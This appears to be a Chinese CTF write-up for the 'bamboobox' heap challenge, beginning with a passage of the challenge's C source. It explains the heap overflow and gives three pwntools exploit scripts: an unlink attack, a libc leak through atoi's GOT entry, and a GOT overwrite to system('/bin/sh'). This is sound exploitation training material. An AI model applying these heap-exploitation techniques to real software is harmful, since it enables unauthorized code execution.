read(0,indexbuf,8);
index = atoi(indexbuf);
if(itemlist[index].name){
free(itemlist[index].name);
itemlist[index].name = 0 ;
itemlist[index].size = 0 ;
puts("remove successful!!");
num-- ;
}else{
puts("invaild index");
}
}
}

void magic(){
int fd ;
char buffer[100];
fd = open("/home/bamboobox/flag",O_RDONLY);
read(fd,buffer,sizeof(buffer));
close(fd);
printf("%s",buffer);
exit(0);
}

int main(){

char choicebuf[8];
int choice;
struct box *bamboo ;
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
bamboo = malloc(sizeof(struct box));
bamboo->hello_message = hello_message;
bamboo->goodbye_message = goodbye_message ;
bamboo->hello_message();

while(1){
menu();
read(0,choicebuf,8);
choice = atoi(choicebuf);
switch(choice){
case 1:
show_item();
break;
case 2:
add_item();
break;
case 3:
change_item();
break;
case 4:
remove_item();
break;
case 5:
bamboo->goodbye_message();
exit(0);
break;
default:
puts("invaild choice!!!");
break;

}
}

return 0 ;
}

分析1_1

  • 先使用IDA打开并查看二进制文件,查看一下程序运行的逻辑怎么样
  • 先查看main函数,发现程序先开辟了0x10个字节的堆空间,然后就是增删改查操作

image-20241014170145896

  • 下面会看到itemlist这个结构体数组,现在先来看一下这个数组和该结构体:有俩个数据类型,分别是整型字符串指针

image-20241014170440795

  • 接下来还会看到一个名为itemlist结构体数组,该数组100个长度

image-20241014170650165

  • 接下来查看一下增删改查操作,也就打印出itemlist中的name

image-20241014170306826

  • 之后再查看增,也就是开辟用户输入的内存空间,然后将内容输入进去

image-20241014170745866

  • 再来查看改,这里存在堆溢出,主要是修改程序指定的堆块,重新指定长度并重新输入内容

image-20241014170857823

  • 删,这里free了堆块,然后又将指针置0了,所以不存在uaf漏洞

image-20241014170947795

  • 综合分析:可以得到该程序存在堆溢出漏洞,但没有uaf漏洞,并且itemlist还存在着指向申请堆块内存的指针,这样就可以

利用1_1

  • 已知程序在开头就已经申请了0x10个字节了,但是这个堆块并没有什么用

  • 我们需要申请3个堆块,第1个、第2个堆块尽量都申请free后能放入unsortedbin的这个链表

  • 然后第3个随便申请一个堆块就可以了(这里申请第3个堆块的原因是,防止free第二个堆块时,第二个堆块与第一个堆块合并之后再被合并入top_chunk中)

  • 这时再使用change函数修改堆块造成堆溢出,刚好具有现成的指向第一个堆块的指针(即itemlist[0].name)

  • gdb动态调试查看,先申请一个堆块,使用x/20gx 0x6020C0查看这个结构体数组,发现该指针在0x6020c0+0x8的这个位置

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x6020C0
0x6020c0 <itemlist>: 0x0000000000000032 0x0000000000c19030
0x6020d0 <itemlist+16>: 0x0000000000000000 0x0000000000000000
0x6020e0 <itemlist+32>: 0x0000000000000000 0x0000000000000000
0x6020f0 <itemlist+48>: 0x0000000000000000 0x0000000000000000
0x602100 <itemlist+64>: 0x0000000000000000 0x0000000000000000
0x602110 <itemlist+80>: 0x0000000000000000 0x0000000000000000
0x602120 <itemlist+96>: 0x0000000000000000 0x0000000000000000
0x602130 <itemlist+112>: 0x0000000000000000 0x0000000000000000
0x602140 <itemlist+128>: 0x0000000000000000 0x0000000000000000
0x602150 <itemlist+144>: 0x0000000000000000 0x0000000000000000
  • 所以就可以利用如下所示伪造堆块、堆溢出、unlink_attack直接任意地址写

image-20241014174234602

  • 利用:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context(log_level='debug')
p = process('./bamboobox')

def show():
p.sendlineafter(b'Your choice:',b'1')

def add(lens,txt):
p.sendlineafter(b'Your choice:',b'2')
p.sendlineafter(b'Please enter the length of item name:',str(lens).encode('utf-8')) p.sendlineafter(b'Please enter the name of item:',txt)

def change(index,lens,txt):
p.sendlineafter(b'Your choice:',b'3')
p.sendlineafter(b'Please enter the index of item:',str(index).encode('utf-8'))
p.sendlineafter(b'Please enter the length of item name:',str(lens).encode('utf-8')) p.sendafter(b'Please enter the new name of the item:',txt)

def remove(index):
p.sendlineafter(b'Your choice:',b'4')
p.sendlineafter(b'Please enter the index of item:',str(index).encode('utf-8'))


add(0x90,b'a'*0x8) # size = 0xa1
add(0x90,b'a'*0x8)
add(0x20,b'a'*0x8)

ptr = 0x6020C0+0x8
fake_fd = ptr - 0x18
fake_bk = ptr - 0x10

payload1 = p64(0x0)
payload1 += p64(0x91)
payload1 += p64(fake_fd)
payload1 += p64(fake_bk)
payload1 += b'a'*0x70
payload1 += p64(0x90)
payload1 += p64(0xa0)
#change(0,1,b'a')
change(0,len(payload1),payload1)
remove(1)
#gdb.attach(p)
p.interactive()

分析1_2

  • 释放之后的指针就指向该位置

image-20241014180431338

  • 这时我们使用change函数,修改chunk_ptr_addr的数据为atoigot表,然后再使用show打印出来atoi的地址

image-20241014180752633

利用1_2

  • 泄露libc,exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context(log_level='debug')
p = process('./bamboobox')

def show():
p.sendlineafter(b'Your choice:',b'1')

def add(lens,txt):
p.sendlineafter(b'Your choice:',b'2')
p.sendlineafter(b'Please enter the length of item name:',str(lens).encode('utf-8')) p.sendlineafter(b'Please enter the name of item:',txt)

def change(index,lens,txt):
p.sendlineafter(b'Your choice:',b'3')
p.sendlineafter(b'Please enter the index of item:',str(index).encode('utf-8'))
p.sendlineafter(b'Please enter the length of item name:',str(lens).encode('utf-8')) p.sendafter(b'Please enter the new name of the item:',txt)

def remove(index):
p.sendlineafter(b'Your choice:',b'4')
p.sendlineafter(b'Please enter the index of item:',str(index).encode('utf-8'))


add(0x90,b'a'*0x8) # size = 0xa1
add(0x90,b'a'*0x8)
add(0x20,b'a'*0x8)

ptr = 0x6020C0+0x8
fake_fd = ptr - 0x18
fake_bk = ptr - 0x10

payload1 = p64(0x0)
payload1 += p64(0x91)
payload1 += p64(fake_fd)
payload1 += p64(fake_bk)
payload1 += b'a'*0x70
payload1 += p64(0x90)
payload1 += p64(0xa0)
#change(0,1,b'a')
change(0,len(payload1),payload1)
remove(1)
payload2 = b'a'*0x18
payload2 += p64(0x602068)
change(0,len(payload2),payload2)
show()
p.recvuntil(b'0 :')
atoi_addr = p.recvline()[1:7]
atoi_addr = int.from_bytes(atoi_addr,'little')
print('atoi_addr------->',hex(atoi_addr))
#gdb.attach(p)
p.interactive()
  • 泄露结果:

image-20241014182259777

  • 接下来是接收问题了,这里不多做解释

利用1_3

  • 找到libc地址后,去libc_database找偏移

image-20241014182408425

  • 计算偏移,然后再使用change修改got表为System,最后传入参数/bin/sh然后getshell,程序以为调用的是atoi但实际上是调用system

image-20241014182706093

  • 完整exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context(log_level='debug')
p = process('./bamboobox')

def show():
p.sendlineafter(b'Your choice:',b'1')

def add(lens,txt):
p.sendlineafter(b'Your choice:',b'2')
p.sendlineafter(b'Please enter the length of item name:',str(lens).encode('utf-8')) p.sendlineafter(b'Please enter the name of item:',txt)

def change(index,lens,txt):
p.sendlineafter(b'Your choice:',b'3')
p.sendlineafter(b'Please enter the index of item:',str(index).encode('utf-8'))
p.sendlineafter(b'Please enter the length of item name:',str(lens).encode('utf-8')) p.sendafter(b'Please enter the new name of the item:',txt)

def remove(index):
p.sendlineafter(b'Your choice:',b'4')
p.sendlineafter(b'Please enter the index of item:',str(index).encode('utf-8'))


add(0x90,b'a'*0x8) # size = 0xa1
add(0x90,b'a'*0x8)
add(0x20,b'a'*0x8)

ptr = 0x6020C0+0x8
fake_fd = ptr - 0x18
fake_bk = ptr - 0x10


payload1 = p64(0x0)
payload1 += p64(0x91)
payload1 += p64(fake_fd)
payload1 += p64(fake_bk)
payload1 += b'a'*0x70
payload1 += p64(0x90)
payload1 += p64(0xa0)
#change(0,1,b'a')
change(0,len(payload1),payload1)
remove(1)
payload2 = b'a'*0x18
payload2 += p64(0x602068)
change(0,len(payload2),payload2)
show()
p.recvuntil(b'0 :')
atoi_addr = p.recvline()[1:7]
atoi_addr = int.from_bytes(atoi_addr,'little')
print('atoi_addr------->',hex(atoi_addr))
sys_addr = atoi_addr + 0x453a0 - 0x36e90
payload3 = p64(sys_addr)
change(0,len(payload3),payload3)
p.sendlineafter(b'Your choice:',b'/bin/sh\x00')
#gdb.attach(p)
p.interactive()